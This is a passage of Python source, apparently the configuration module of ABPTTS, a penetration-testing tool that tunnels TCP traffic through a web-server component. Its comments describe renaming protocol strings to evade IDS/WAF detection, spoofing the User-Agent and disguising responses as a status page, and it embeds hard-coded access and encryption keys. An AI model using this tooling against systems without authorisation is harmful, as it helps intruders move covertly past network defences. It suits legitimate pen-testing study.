57 | @staticmethod
58 | def outputMessage(message):
59 | dt = datetime.now().isoformat(' ')
60 | logMessage = "[%s] %s" % (dt, message)
61 | print logMessage
62 |
63 | class ABPTTSConfiguration:
64 | def __init__(self, outputHandler):
65 | self.randomizedValuePlaceholder = "%RANDOMIZE%"
66 |
67 | self.OutputHandler = outputHandler
68 | # ABPTTS authentication / encryption
69 | #
70 | # Everything in this section MUST MATCH THE VALUES ON THE SERVER!
71 | #
72 | # HTTP request header name to use for sending the key used to access the ABPTTS
73 | # functionality instead of the dummy response page
74 | # this is lowercase because of httplib2's bad behaviour of converting all customer
75 | # request headers to lowercase. If it were uppercase here and lower on the server,
76 | # it wouldn't be detected.
77 | self.headerNameKey = "x-xsession-id"
78 |
79 | # Access key value (referred to as "header value" for historical reasons -
80 | # early versions of ABPTTS only supported sending this value in an HTTP header)
81 | self.headerValueKey = "tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq"
82 |
83 | # Send access key as an HTTP header or a POST parameter?
84 | # A header should be slightly less likely to be logged than a POST parameter
85 | # valid values: header, postparam
86 | self.accessKeyMode = "header"
87 |
88 | # AES-128 encryption key used for ABPTTS-tunneled data (in ASCII hex format)
89 | # Leave blank to disable encryption
90 | self.encryptionKeyHex = "63688c4f211155c76f2948ba21ebaf83"
91 |
92 | # HTTP anti-detection options
93 | #
94 | # User-Agent spoofing
95 | # note: not very solid spoofing because of httplib2's annoying behaviour of
96 | # making customer header names lowercase.
97 | self.headerValueUserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)"
98 |
99 | # ABPTTS protocol obfuscation
100 | #
101 | # Everything in this section MUST MATCH THE VALUES ON THE SERVER!
102 | #
103 | # These settings define the various request/response strings used by ABPTTS
104 | # E.g. if paramNameOperation is "op" and opModeStringSendReceive is "sr",
105 | # then when making a "send/receive" request, the (unencrypted) body will
106 | # contain the string "op=sr"
107 | #
108 | # These are redefinable to prevent detection by simplistic pattern-matching
109 | # IDS/IPS/WAF-type devices. I did not want any vendor to be able to claim
110 | # they could "detect" ABPTTS just because they wrote a regex like
111 | # "op=sr&.*connection=.*data="
112 | #
113 | # request parameter names
114 | self.paramNameAccessKey = "accesskey"
115 | self.paramNameOperation = "op"
116 | self.paramNameDestinationHost = "host"
117 | self.paramNameDestinationPort = "port"
118 | self.paramNameConnectionID = "connection"
119 | self.paramNameData = "data"
120 | self.paramNamePlaintextBlock = "plaintextblock"
121 | self.paramNameEncryptedBlock = "encryptedblock"
122 | #
123 | # separator characters to use inside of encrypted blocks, encoded as base64
124 | # These need to either be non-printable ASCII characters, or strings of sufficient
125 | # complexity that they will never appear inside the blocks they are separating.
126 | # It is extremely unlikely that they will ever be visible to an IDS/IPS/WAF-type
127 | # device.
128 | self.dataBlockNameValueSeparatorB64 = "Hw=="
129 | self.dataBlockParamSeparatorB64 = "Hg=="
130 | #dataBlockNameValueSeparator = "\x1F"
131 | #dataBlockParamSeparator = "\x1E"
132 | #
133 | # request parameter values for the Operation parameter
134 | self.opModeStringOpenConnection = "open"
135 | self.opModeStringSendReceive = "sr"
136 | self.opModeStringCloseConnection = "close"
137 | #
138 | # response codes
139 | self.responseStringHide = "OK"
140 | self.responseStringConnectionCreated = "OPENED"
141 | self.responseStringConnectionClosed = "CLOSED"
142 | self.responseStringData = "DATA"
143 | self.responseStringNoData = "NO_DATA"
144 | self.responseStringErrorGeneric = "ERROR"
145 | self.responseStringErrorInvalidRequest = "ERROR_INVALID_REQUEST"
146 | self.responseStringErrorConnectionNotFound = "ERROR_CONNECTION_NOT_FOUND"
147 | self.responseStringErrorConnectionOpenFailed = "ERROR_CONNECTION_OPEN_FAILED"
148 | self.responseStringErrorConnectionCloseFailed = "ERROR_CONNECTION_CLOSE_FAILED"
149 | self.responseStringErrorConnectionSendFailed = "ERROR_CONNECTION_SEND_FAILED"
150 | self.responseStringErrorConnectionReceiveFailed = "ERROR_CONNECTION_RECEIVE_FAILED"
151 | self.responseStringErrorDecryptFailed = "ERROR_DECRYPT_FAILED"
152 | self.responseStringErrorEncryptFailed = "ERROR_ENCRYPT_FAILED"
153 | self.responseStringErrorEncryptionNotSupported = "ERROR_ENCRYPTION_NOT_SUPPORTED"
154 | #
155 | # begin/end blocks to wrap the response in
156 | # e.g. to make the server responses look superficially more like a status page,
157 | # forum post, API response, etc.
158 | # these are base64-encoded so that virtually any type of wrapper can be created
159 | # All text in these blocks is stripped by the ABPTTS client before processing
160 | # so make sure they aren't substrings of any of the values above
161 | #
162 | self.responseStringPrefixB64 = "PGh0bWw+Cgk8aGVhZD4KCQk8dGl0bGU+U3lzdGVtIFN0YXR1czwvdGl0bGU+Cgk8L2hlYWQ+Cgk8Ym9keT4KPHByZT4K"
163 | self.responseStringSuffixB64 = "CjwvcHJlPgoJPC9ib2R5Pgo8L2h0bWw+"
164 |
165 |
166 | # Output control
167 | #
168 | # Log file to append output to
169 | self.logFilePath = 'ABPTTSClient-log.txt'
170 | #
171 | # Write to the log file?
172 | self.writeToLog = False
173 | #
174 | # Write to stdout?
175 | self.writeToStandardOut = True
176 | #
177 | # output raw TCP request/response data?
178 | self.echoData = False
179 | #
180 | # output raw HTTP request/response bodies?
181 | self.echoHTTPBody = False
182 | #
183 | # output assorted debugging messages?
184 | self.echoDebugMessages = False
185 | #
186 | # how frequently to provide stats regarding data I/O through the tunnel
187 | # e.g. a value of 100 will cause reporting every time the client has made 100
188 | # send/receive requests to the server.
189 | self.statsUpdateIterations = 100
190 |
191 |
192 | # Low-level network tuning - client-side settings
193 | #
194 | # maximum number of bytes to send to the server component in each send/receive operation
195 | # see the description for the corresponding serverToClientBlockSize value, later
196 | # in this file, for a detailed discussion.
197 | # This channel has less impact than that value unless a large amount of data is
198 | # being sent *to* the server, but the concept is the same.
199 | self.clientToServerBlockSize = 32768
200 | #
201 | # size of the buffer to use on the client for TCP data
202 | self.clientSocketBufferSize = 6553600
203 | #
204 | # initial socket timeout interval
205 | self.clientSocketTimeoutBase = 0.01
206 | #
207 | # If the following value is set to False, then the base timeout will be used continuously
208 | # Otherwise the timeout will be scaled up/down depending on client/server traffic
209 | # (to minimize unnecessary communication)
210 | self.autoscaleClientSocketTimeout = True
211 | #autoscaleClientSocketTimeout = False
212 | #
213 | # Variation range (as a fraction of the current timeout value) to apply to
214 | # whatever the current interval is
215 | self.clientSocketTimeoutVariation = 0.2
216 | #clientSocketTimeoutVariation = 0.0
217 | #
218 | # Multiplier (+/-) to use for autoscaling timeout interval:
219 | #clientSocketTimeoutScalingMultiplier = 0.25
220 | self.clientSocketTimeoutScalingMultiplier = 0.1
221 | #
222 | # Maximum timeout to allow the current timeout value to range to when
223 | # auto-scaling the value:
224 | self.clientSocketTimeoutMax = 1.0
225 | #
226 | # Minimum timeout to allow the current timeout value to range to when
227 | # auto-scaling:
228 | self.clientSocketTimeoutMin = 0.01
229 | #
230 | # Quasi-chunking settings
231 | #
232 | # some TCP clients (*cough*SCPonMacOS*cough*) have fragile sockets that are easily
233 | # overloaded. Sending e.g. 2MB (or even 128K, in some cases) of data all at once will
234 | # cause those clients to fail.
235 | #
236 | # Symptoms include e.g.:
237 | # - SCP clients reporting "Corrupted MAC on input. Disconnecting: Packet corrupt"
238 | # - rdesktop audio extremely stuttery, "Fooo!" on stdout
239 | # note: this will still happen to some extent (even if connecting directly
240 | # instead of over an ABPTTS tunnel) if the throughput is too low, but most
241 | # of the audio should make it through.
242 | #
243 | # These settings control the quasi-chunking mechanism I implemented to work around
244 | # this problem, where large blocks are split into smaller ones for relay to the
245 | # client.
246 | #
247 | # Most TCP client software I tested works fine without this mechanism, but I like
248 | # to default to the most reliable configuration, especially because losing a tunnel
249 | # connection during a pen test is extremely frustrating.
250 | #
251 | # Increasing the block size can measurably improve throughput if the client software
252 | # / OS is capable of handling it.
253 | #
254 | # Maximum size of data to send in each blocks to TCP clients connecting to ABPTTS
255 | # MacOS SCP* results:
256 | # 16384 success except in rare cases**
257 | # 32768 success except in rare cases**
258 | # 65536 success most of the time
259 | # 81920 success most of the time
260 | # 98304 consistent failure
261 | # 131072 consistent failure
262 | #
263 | # As reducing the value below 32768 did not appear to provide noticeably greater
264 | # reliability, this value is the default. Feel free to experiment with other values.
265 | #
266 | # * because this was by far the most finnicky TCP client I tested in terms of this
267 | # specific problem
268 | #
269 | # ** stress-testing the tunnel (three simultaneous interactive SSH sessions, each
270 | # of which was continuously looping through a "find /" command, combined with a
271 | # fourth connection to SCP a binary file) would occassionally result in a bad
272 | # transmission
273 | #
274 | # split data into blocks no larger than the following number of bytes
275 | self.clientBlockSizeLimitFromServer = 32768
276 | #
277 | # Wait time (in seconds) between blocks
278 | # Set to 0.0 to disable waiting between blocks
279 | self.clientBlockTransmitSleepTime = 0.0
280 |
281 |
282 | # Low-level network tuning - server-side settings
283 | # (for generating config file/server file packages)
284 | #
285 | # for server-side languages that do not support automatically selecting IPv4 versus IPv6 as
286 | # necessary, it can be manually specified here in the event that IPv6 should be used from
287 | # the server to other systems.
288 | # Currently this option is only used by the ASP.NET / C# server-side component.
289 | self.useIPV6ClientSocketOnServer = False
290 | # maximum number of bytes to return to the client component in each send/receive operation
291 | # this value is the option which most directly affects the latency/throughput tradeoff of
292 | # the tunnel.
293 | # For example, a relatively low value like 32768 will ensure low enough latency
294 | # even over a relatively slow connection (IE the internet) to keep e.g. MacOS
295 | # SCP happy with the connection, but the throughput will be reduced
296 | # significantly. (approximately 1/7th the throughput versus no cap on this
297 | # value).
298 | # On the other hand, while high values will result in significantly increased
299 | # throughput, the latency of the connection becomes much higher as well,
300 | # especially over a slower connection. During testing, this did not cause
301 | # issues for tunnels over a LAN, but over the internet, the delay due to
302 | # downloading the extremely large HTTP responses from the server.
303 | self.serverToClientBlockSize = 32768
304 | #
305 | # if a socket has not been used in this many iterations (of send/receive requests
306 | # in the same session), consider it abandoned and close it
307 | self.serverSocketMaxUnusedIterations = 1000
308 | #
309 | # timeout value (in milliseconds) for the server socket
310 | self.serverSocketIOTimeout = 100
311 | #
312 | # size of the send buffer (in bytes)
313 | self.serverSocketSendBufferSize = 6553600
314 | #
315 | # size of the receive buffer (in bytes)
316 | self.serverSocketReceiveBufferSize = 6553600
317 |
318 |
319 | # File-generation settings (for the factory script)
320 | #
321 | # short name to use for the application
322 | # e.g. if this value is FancyServerStatus, then server-side files will be
323 | # named things like FancyServerStatus.jsp, URL-mappings will be things like
324 | # /FancyServerStatus/, etc.
325 | self.fileGenerationAppNameShort = "abptts"
326 |
327 | def GetConfigFileData(self, resultHashtable, configFilePath, warnOnOverride):
328 | lines = ""
329 | try:
330 | f = open(configFilePath, 'rb')
331 | lines = f.read()
332 | f.close()
333 | except Exception as e:
334 | self.OutputHandler.outputMessage("Error: could not read the configuration file '%s': %s" % (configFilePath, e))
335 | fileLines = lines.splitlines()
336 | for l in fileLines:
337 | # strip comments
338 | l2 = re.sub("#.+", "", l).strip()
339 | #if self.echoDebugMessages:
340 | # self.OutputHandler.outputMessage("Debug: '%s' => '%s'" % (l, l2))
341 | if l2 != "":
342 | lineSplit = l2.split(":::::::")
343 | if len(lineSplit) > 1:
344 | paramName = lineSplit[0]
345 | paramValue = lineSplit[1]
346 | if paramName in resultHashtable:
347 | existingParamValue = resultHashtable[paramName]
348 | if warnOnOverride:
349 | if existingParamValue != paramValue:
350 | self.OutputHandler.outputMessage("Warning: parameter '%s' already exists in the hashtable with value '%s', and will be overridden by the value '%s' which is defined later in the same file or a later file." % (paramName, existingParamValue, paramValue))
351 | resultHashtable[paramName] = paramValue
352 |
353 | if self.echoDebugMessages:
354 | self.OutputHandler.outputMessage("Set parameter hashtable value '%s' to '%s'" % (paramName, paramValue))
355 | return resultHashtable
356 |
357 | @staticmethod
358 | def ParseBool(boolString):
359 | bsl = boolString.lower()
360 | if bsl == "true":
361 | return True
362 | if bsl == "yes":
363 | return True
364 | if bsl == "y":
365 | return True
366 | if bsl == "1":
367 | return True
368 | return False
369 |
370 | def GetParametersFromHashtable(self, parameterHashtable):
371 | if "headerNameKey" in parameterHashtable:
372 | self.headerNameKey = parameterHashtable["headerNameKey"]
373 | if "headerValueKey" in parameterHashtable:
374 | self.headerValueKey = parameterHashtable["headerValueKey"]
375 | if "encryptionKeyHex" in parameterHashtable:
376 | self.encryptionKeyHex = parameterHashtable["encryptionKeyHex"]
377 | if "headerValueUserAgent" in parameterHashtable:
378 | self.headerValueUserAgent = parameterHashtable["headerValueUserAgent"]
379 | if "accessKeyMode" in parameterHashtable:
380 | self.accessKeyMode = parameterHashtable["accessKeyMode"]
381 | if "paramNameAccessKey" in parameterHashtable:
382 | self.paramNameAccessKey = parameterHashtable["paramNameAccessKey"]
383 | if "paramNameOperation" in parameterHashtable:
384 | self.paramNameOperation = parameterHashtable["paramNameOperation"]
385 | if "paramNameDestinationHost" in parameterHashtable:
386 | self.paramNameDestinationHost = parameterHashtable["paramNameDestinationHost"]
387 | if "paramNameDestinationPort" in parameterHashtable:
388 | self.paramNameDestinationPort = parameterHashtable["paramNameDestinationPort"]
389 | if "paramNameConnectionID" in parameterHashtable:
390 | self.paramNameConnectionID = parameterHashtable["paramNameConnectionID"]
391 | if "paramNameData" in parameterHashtable:
392 | self.paramNameData = parameterHashtable["paramNameData"]
393 | if "paramNamePlaintextBlock" in parameterHashtable:
394 | self.paramNamePlaintextBlock = parameterHashtable["paramNamePlaintextBlock"]
395 | if "paramNameEncryptedBlock" in parameterHashtable:
396 | self.paramNameEncryptedBlock = parameterHashtable["paramNameEncryptedBlock"]
397 | if "dataBlockNameValueSeparatorB64" in parameterHashtable:
398 | self.dataBlockNameValueSeparatorB64 = parameterHashtable["dataBlockNameValueSeparatorB64"]
399 | if "dataBlockParamSeparatorB64" in parameterHashtable:
400 | self.dataBlockParamSeparatorB64 = parameterHashtable["dataBlockParamSeparatorB64"]
401 | if "opModeStringOpenConnection" in parameterHashtable:
402 | self.opModeStringOpenConnection = parameterHashtable["opModeStringOpenConnection"]
403 | if "opModeStringSendReceive" in parameterHashtable:
404 | self.opModeStringSendReceive = parameterHashtable["opModeStringSendReceive"]
405 | if "opModeStringCloseConnection" in parameterHashtable:
406 | self.opModeStringCloseConnection = parameterHashtable["opModeStringCloseConnection"]
407 | if "responseStringHide" in parameterHashtable:
408 | self.responseStringHide = parameterHashtable["responseStringHide"]
409 | if "responseStringConnectionCreated" in parameterHashtable:
410 | self.responseStringConnectionCreated = parameterHashtable["responseStringConnectionCreated"]
411 | if "responseStringConnectionClosed" in parameterHashtable:
412 | self.responseStringConnectionClosed = parameterHashtable["responseStringConnectionClosed"]
413 | if "responseStringData" in parameterHashtable:
414 | self.responseStringData = parameterHashtable["responseStringData"]
415 | if "responseStringNoData" in parameterHashtable:
416 | self.responseStringNoData = parameterHashtable["responseStringNoData"]
417 | if "responseStringErrorGeneric" in parameterHashtable:
418 | self.responseStringErrorGeneric = parameterHashtable["responseStringErrorGeneric"]
419 | if "responseStringErrorInvalidRequest" in parameterHashtable:
420 | self.responseStringErrorInvalidRequest = parameterHashtable["responseStringErrorInvalidRequest"]
421 | if "responseStringErrorConnectionNotFound" in parameterHashtable:
422 | self.responseStringErrorConnectionNotFound = parameterHashtable["responseStringErrorConnectionNotFound"]
423 | if "responseStringErrorConnectionOpenFailed" in parameterHashtable:
424 | self.responseStringErrorConnectionOpenFailed = parameterHashtable["responseStringErrorConnectionOpenFailed"]
425 | if "responseStringErrorConnectionCloseFailed" in parameterHashtable:
426 | self.responseStringErrorConnectionCloseFailed = parameterHashtable["responseStringErrorConnectionCloseFailed"]
427 | if "responseStringErrorConnectionSendFailed" in parameterHashtable:
428 | self.responseStringErrorConnectionSendFailed = parameterHashtable["responseStringErrorConnectionSendFailed"]
429 | if "responseStringErrorConnectionReceiveFailed" in parameterHashtable:
430 | self.responseStringErrorConnectionReceiveFailed = parameterHashtable["responseStringErrorConnectionReceiveFailed"]
431 | if "responseStringErrorDecryptFailed" in parameterHashtable:
432 | self.responseStringErrorDecryptFailed = parameterHashtable["responseStringErrorDecryptFailed"]
433 | if "responseStringErrorEncryptFailed" in parameterHashtable:
434 | self.responseStringErrorEncryptFailed = parameterHashtable["responseStringErrorEncryptFailed"]
435 | if "responseStringErrorEncryptionNotSupported" in parameterHashtable:
436 | self.responseStringErrorEncryptionNotSupported = parameterHashtable["responseStringErrorEncryptionNotSupported"]
437 | if "responseStringPrefixB64" in parameterHashtable:
438 | self.responseStringPrefixB64 = parameterHashtable["responseStringPrefixB64"]
439 | if "responseStringSuffixB64" in parameterHashtable:
440 | self.responseStringSuffixB64 = parameterHashtable["responseStringSuffixB64"]
441 | if "logFilePath" in parameterHashtable:
442 | self.logFilePath = parameterHashtable["logFilePath"]
443 | if "fileGenerationAppNameShort" in parameterHashtable:
444 | self.fileGenerationAppNameShort = parameterHashtable["fileGenerationAppNameShort"]
445 | if "writeToLog" in parameterHashtable:
446 | tv = parameterHashtable["writeToLog"]
447 | try:
448 | self.writeToLog = self.ParseBool(tv)
449 | except:
450 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv))
451 | if "writeToStandardOut" in parameterHashtable:
452 | tv = parameterHashtable["writeToStandardOut"]
453 | try:
454 | self.writeToStandardOut = self.ParseBool(tv)
455 | except:
456 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv))
457 | if "echoData" in parameterHashtable:
458 | tv = parameterHashtable["echoData"]
459 | try:
460 | self.echoData = self.ParseBool(tv)
461 | except:
462 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv))
463 | if "echoHTTPBody" in parameterHashtable:
464 | tv = parameterHashtable["echoHTTPBody"]
465 | try:
466 | self.echoHTTPBody = self.ParseBool(tv)
467 | except:
468 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv))
469 | if "echoDebugMessages" in parameterHashtable:
470 | tv = parameterHashtable["echoDebugMessages"]
471 | try:
472 | self.echoDebugMessages = self.ParseBool(tv)
473 | except:
474 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv))
475 | if "autoscaleClientSocketTimeout" in parameterHashtable:
476 | tv = parameterHashtable["autoscaleClientSocketTimeout"]
477 | try:
478 | self.autoscaleClientSocketTimeout = self.ParseBool(tv)
479 | except:
480 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv))
481 | if "useIPV6ClientSocketOnServer" in parameterHashtable:
482 | tv = parameterHashtable["useIPV6ClientSocketOnServer"]
483 | try:
484 | self.useIPV6ClientSocketOnServer = self.ParseBool(tv)
485 | except:
486 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a boolean (true/false) value" % (tv))
487 | if "statsUpdateIterations" in parameterHashtable:
488 | tv = parameterHashtable["statsUpdateIterations"]
489 | try:
490 | self.statsUpdateIterations = int(tv)
491 | except:
492 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
493 | if "clientToServerBlockSize" in parameterHashtable:
494 | tv = parameterHashtable["clientToServerBlockSize"]
495 | try:
496 | self.clientToServerBlockSize = int(tv)
497 | except:
498 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
499 | if "clientSocketBufferSize" in parameterHashtable:
500 | tv = parameterHashtable["clientSocketBufferSize"]
501 | try:
502 | self.clientSocketBufferSize = int(tv)
503 | except:
504 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
505 | if "clientBlockSizeLimitFromServer" in parameterHashtable:
506 | tv = parameterHashtable["clientBlockSizeLimitFromServer"]
507 | try:
508 | self.clientBlockSizeLimitFromServer = int(tv)
509 | except:
510 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
511 | if "serverToClientBlockSize" in parameterHashtable:
512 | tv = parameterHashtable["serverToClientBlockSize"]
513 | try:
514 | self.serverToClientBlockSize = int(tv)
515 | except:
516 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
517 | if "serverSocketMaxUnusedIterations" in parameterHashtable:
518 | tv = parameterHashtable["serverSocketMaxUnusedIterations"]
519 | try:
520 | self.serverSocketMaxUnusedIterations = int(tv)
521 | except:
522 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
523 | if "serverSocketIOTimeout" in parameterHashtable:
524 | tv = parameterHashtable["serverSocketIOTimeout"]
525 | try:
526 | self.serverSocketIOTimeout = int(tv)
527 | except:
528 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
529 | if "serverSocketSendBufferSize" in parameterHashtable:
530 | tv = parameterHashtable["serverSocketSendBufferSize"]
531 | try:
532 | serverSocketSendBufferSize = int(tv)
533 | except:
534 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
535 | if "serverSocketReceiveBufferSize" in parameterHashtable:
536 | tv = parameterHashtable["serverSocketReceiveBufferSize"]
537 | try:
538 | self.serverSocketReceiveBufferSize = int(tv)
539 | except:
540 | self.OutputHandler.outputMessage("Error: could not parse '%s' as an integer value" % (tv))
541 | if "clientSocketTimeoutBase" in parameterHashtable:
542 | tv = parameterHashtable["clientSocketTimeoutBase"]
543 | try:
544 | self.clientSocketTimeoutBase = float(tv)
545 | except:
546 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv))
547 | if "clientSocketTimeoutVariation" in parameterHashtable:
548 | tv = parameterHashtable["clientSocketTimeoutVariation"]
549 | try:
550 | self.clientSocketTimeoutVariation = float(tv)
551 | except:
552 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv))
553 | if "clientSocketTimeoutScalingMultiplier" in parameterHashtable:
554 | tv = parameterHashtable["clientSocketTimeoutScalingMultiplier"]
555 | try:
556 | self.clientSocketTimeoutScalingMultiplier = float(tv)
557 | except:
558 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv))
559 | if "clientSocketTimeoutMax" in parameterHashtable:
560 | tv = parameterHashtable["clientSocketTimeoutMax"]
561 | try:
562 | self.clientSocketTimeoutMax = float(tv)
563 | except:
564 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv))
565 | if "clientSocketTimeoutMin" in parameterHashtable:
566 | tv = parameterHashtable["clientSocketTimeoutMin"]
567 | try:
568 | self.clientSocketTimeoutMin = float(tv)
569 | except:
570 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv))
571 | if "clientBlockTransmitSleepTime" in parameterHashtable:
572 | tv = parameterHashtable["clientBlockTransmitSleepTime"]
573 | try:
574 | self.clientBlockTransmitSleepTime = float(tv)
575 | except:
576 | self.OutputHandler.outputMessage("Error: could not parse '%s' as a floating-point value" % (tv))
577 |
578 | @staticmethod
579 | def WriteIfPresent(parameterHashtable, file, parameterName, parameterValue, formatString):
580 | if parameterName in parameterHashtable:
581 | s1 = '%s:::::::%s' % (parameterName, formatString)
582 | file.write(s1 % (parameterValue))
583 | file.write(os.linesep)
584 |
585 | def ReplaceIfRandomizationPlaceholder(self, parameterHashtable, parameterName, currentParameterValue, newParameterValue):
586 | if parameterName in parameterHashtable:
587 | if parameterHashtable[parameterName] == self.randomizedValuePlaceholder:
588 | return newParameterValue
589 | return currentParameterValue
590 |
591 | @staticmethod
592 | def MakeDir(newDir, outputHandler):
593 | try:
594 | os.mkdir(newDir)
595 | return True
596 | except Exception as e:
597 | outputHandler.outputMessage('Error: could not create a directory named "%s" - %s' % (newDir, e))
598 | return False
599 |
600 | @staticmethod
601 | def CopyFile(source, destination, outputHandler):
602 | try:
603 | copyfile(source, destination)
604 | return True
605 | except Exception as e:
606 | outputHandler.outputMessage('Error copying "%s" to "%s" - %s' % (source, destination, e))
607 | return False
608 |
609 | @staticmethod
610 | def ZipDir(sourceDirectory, outputFilePath, outputHandler):
611 | currentDir = os.getcwd()
612 | try:
613 | os.chdir(sourceDirectory)
614 | #relroot = os.path.abspath(os.path.join(sourceDirectory, os.pardir))
615 | relroot = os.path.abspath(os.path.join(sourceDirectory))
616 | #with zipfile.ZipFile(outputFilePath, "w", zipfile.ZIP_DEFLATED) as zip:
617 | with zipfile.ZipFile(outputFilePath, "w") as zip:
618 | for root, dirs, files in os.walk(sourceDirectory):
619 | # add directory (needed for empty dirs)
620 | # this is commented out because Tomcat 8 will reject WAR files with "./" in them.
621 | #zip.write(root, os.path.relpath(root, relroot))
622 | for file in files:
623 | filename = os.path.join(root, file)
624 | if os.path.isfile(filename): # regular files only
625 | arcname = os.path.join(os.path.relpath(root, relroot), file)
626 | zip.write(filename, arcname)
627 | return True
628 | except Exception as e:
629 | outputHandler.outputMessage('Error creating zip file "%s" from directory "%s" - %s' % (outputFilePath, sourceDirectory, e))
630 | return False
631 | os.chdir(currentDir)
632 |
633 |
634 | def WriteParametersBasedOnHashtable(self, parameterHashtable, outputFilePath):
635 | try:
636 | f = open(outputFilePath, 'wb')
637 | self.WriteIfPresent(parameterHashtable, f, 'headerNameKey', self.headerNameKey, '%s')
638 | self.WriteIfPresent(parameterHashtable, f, 'headerValueKey', self.headerValueKey, '%s')
639 | self.WriteIfPresent(parameterHashtable, f, 'encryptionKeyHex', self.encryptionKeyHex, '%s')
640 | self.WriteIfPresent(parameterHashtable, f, 'headerValueUserAgent', self.headerValueUserAgent, '%s')
641 | self.WriteIfPresent(parameterHashtable, f, 'accessKeyMode', self.accessKeyMode, '%s')
642 | self.WriteIfPresent(parameterHashtable, f, 'paramNameAccessKey', self.paramNameAccessKey, '%s')
643 | self.WriteIfPresent(parameterHashtable, f, 'paramNameOperation', self.paramNameOperation, '%s')
644 | self.WriteIfPresent(parameterHashtable, f, 'paramNameDestinationHost', self.paramNameDestinationHost, '%s')
645 | self.WriteIfPresent(parameterHashtable, f, 'paramNameDestinationPort', self.paramNameDestinationPort, '%s')
646 | self.WriteIfPresent(parameterHashtable, f, 'paramNameConnectionID', self.paramNameConnectionID, '%s')
647 | self.WriteIfPresent(parameterHashtable, f, 'paramNameData', self.paramNameData, '%s')
648 | self.WriteIfPresent(parameterHashtable, f, 'paramNamePlaintextBlock', self.paramNamePlaintextBlock, '%s')
649 | self.WriteIfPresent(parameterHashtable, f, 'paramNameEncryptedBlock', self.paramNameEncryptedBlock, '%s')
650 | self.WriteIfPresent(parameterHashtable, f, 'dataBlockNameValueSeparatorB64', self.dataBlockNameValueSeparatorB64, '%s')
651 | self.WriteIfPresent(parameterHashtable, f, 'dataBlockParamSeparatorB64', self.dataBlockParamSeparatorB64, '%s')
652 | self.WriteIfPresent(parameterHashtable, f, 'opModeStringOpenConnection', self.opModeStringOpenConnection, '%s')
653 | self.WriteIfPresent(parameterHashtable, f, 'opModeStringSendReceive', self.opModeStringSendReceive, '%s')
654 | self.WriteIfPresent(parameterHashtable, f, 'opModeStringCloseConnection', self.opModeStringCloseConnection, '%s')
655 | self.WriteIfPresent(parameterHashtable, f, 'responseStringHide', self.responseStringHide, '%s')
656 | self.WriteIfPresent(parameterHashtable, f, 'responseStringConnectionCreated', self.responseStringConnectionCreated, '%s')
657 | self.WriteIfPresent(parameterHashtable, f, 'responseStringConnectionClosed', self.responseStringConnectionClosed, '%s')
658 | self.WriteIfPresent(parameterHashtable, f, 'responseStringData', self.responseStringData, '%s')
659 | self.WriteIfPresent(parameterHashtable, f, 'responseStringNoData', self.responseStringNoData, '%s')
660 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorGeneric', self.responseStringErrorGeneric, '%s')
661 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorInvalidRequest', self.responseStringErrorInvalidRequest, '%s')
662 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionNotFound', self.responseStringErrorConnectionNotFound, '%s')
663 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionOpenFailed', self.responseStringErrorConnectionOpenFailed, '%s')
664 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionCloseFailed', self.responseStringErrorConnectionCloseFailed, '%s')
665 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionSendFailed', self.responseStringErrorConnectionSendFailed, '%s')
666 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionReceiveFailed', self.responseStringErrorConnectionReceiveFailed, '%s')
667 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorDecryptFailed', self.responseStringErrorDecryptFailed, '%s')
668 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorEncryptFailed', self.responseStringErrorEncryptFailed, '%s')
669 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorEncryptionNotSupported', self.responseStringErrorEncryptionNotSupported, '%s')
670 | self.WriteIfPresent(parameterHashtable, f, 'responseStringPrefixB64', self.responseStringPrefixB64, '%s')
671 | self.WriteIfPresent(parameterHashtable, f, 'responseStringSuffixB64', self.responseStringSuffixB64, '%s')
672 | self.WriteIfPresent(parameterHashtable, f, 'logFilePath', self.logFilePath, '%s')
673 | self.WriteIfPresent(parameterHashtable, f, 'fileGenerationAppNameShort', self.fileGenerationAppNameShort, '%s')
674 | self.WriteIfPresent(parameterHashtable, f, 'writeToLog', self.writeToLog, '%s')
675 | self.WriteIfPresent(parameterHashtable, f, 'writeToStandardOut', self.writeToStandardOut, '%s')
676 | self.WriteIfPresent(parameterHashtable, f, 'echoData', self.echoData, '%s')
677 | self.WriteIfPresent(parameterHashtable, f, 'echoHTTPBody', self.echoHTTPBody, '%s')
678 | self.WriteIfPresent(parameterHashtable, f, 'echoDebugMessages', self.echoDebugMessages, '%s')
679 | self.WriteIfPresent(parameterHashtable, f, 'autoscaleClientSocketTimeout', self.autoscaleClientSocketTimeout, '%s')
